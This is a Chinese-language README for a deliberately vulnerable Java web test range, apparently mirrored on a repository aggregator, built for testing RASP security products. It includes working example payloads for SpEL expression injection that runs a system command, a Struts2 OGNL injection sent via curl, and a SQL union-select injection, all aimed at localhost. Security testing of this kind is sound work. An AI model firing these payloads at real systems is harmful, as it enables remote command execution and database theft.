Giter Club home page Giter Club logo

javaweb-vuls's Introduction

JavaWeb RASP漏洞测试环境

1. 项目说明

  1. RASP漏洞测试环境主要包含了两个项目:rasp-test-springbootrasp-test-struts2,它们使用了相同的源代码分别用于测试SpringBootStruts2漏洞;
  2. rasp-test-core包含了基于SpringMVC实现的所有的测试用例接口;
  3. rasp-test-jakarta-servletrasp-test-servlet用于测试Java EE的兼容性;
  4. rasp-test-shiro用户测试shiro漏洞;

启动rasp-test-struts2之后能够看到一个RASP测试导航:

image-20210803164543721

项目内置了用于性能测试的两个接口org.javaweb.vuls.controller.IndexController.getUserByName/getSysUserByName一个采用了传统的GET/POST传参,另一个采用了JSON方式传参:

image-20210803165139192

测试参数如下:

wrk -t200 -c500 -d30s --latency "http://localhost:8000/getUserByName.do?username=admin" 

JSON接口测试:

wrk -t200 -c500 -d30s --script=/Users/yz/user.lua --latency "http://localhost:8000/getSysUserByName.do" 

user.lua:

wrk.method = 'POST' 
wrk.headers['Content-Type'] = 'application/json'  
wrk.body = '{"username": "admin"}' 

除此之外,为了便于测试Web漏洞,在rasp-test-struts2/src/main/webapp/modules目录根据漏洞类型写了非常多的示例。

2. 靶场配置

靶场采用了Sqlite和Mysql两种数据库,如果您想安装数据库可以使用Sqlite进行测试,如果选用Mysql测试需要先创建:javaweb-bbs数据库,并导出项目根目录的javaweb-bbs.sql文件,然后修改rasp-test-struts2/src/main/resources/config/jdbc.propertiesrasp-test-springboot/src/main/resources/application.properties配置文件中的数据库账号密码。

3. SpringBoot SpEL表达式注入

rasp-test-springboot使用的是SpringBoot 1.3.0,这个版本存在SpEL表达式注入漏洞,访问的控制器地址是getUserById.do?id=1,参数id存在SpEL表达式注入漏洞,发送如下Payload服务器会返回SpEL表达式的计算结果:

通过SpEL表达式可以执行系统命令,如:http://localhost:8000/getUserById.do?id=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}

4. Struts2 OGNL表达式注入

rasp-test-struts2使用的是Struts2 2.1.8版本存在Struts2命令执行漏洞,访问的actionrasp.action可以使用Struts2Payload进行检测,例如发送如下Payload服务器会返回[/ok]:

redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}

如使用curl发送Payload

curl -i http://localhost:8000/rasp.action -d "redirect:%24%7b%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()%7d"

或者使用浏览器访问(需要注意的是Tomcat8+不能使用URL传参):http://localhost:8000/rasp.action?redirect:%24%7b%23w%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23w.println(%27[/ok]%27),%23w.flush(),%23w.close()%7d

5. SQL注入

几乎所有可以传参的地方都存在SQL注入,例如获取文章详情页中的articleId参数存在注入,如使用算数符获取ID为10000的文章(articleId=100001-1):

注入数据库信息: http://localhost:8000/getArticle.do?articleId=100001%20and%201=2%20union%20select%201,2,user(),4,version(),null,7

需要注意的是因为数据库查询的时候有一个字段是private Date publishDate;所以注入的时候需要注意数据字段类型,上述union select注入示例使用了null占位。

6. 其他测试用例

rasp-test-core项目中的org.javaweb.vuls.controller包下面包含了非常多的其他测试用例。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.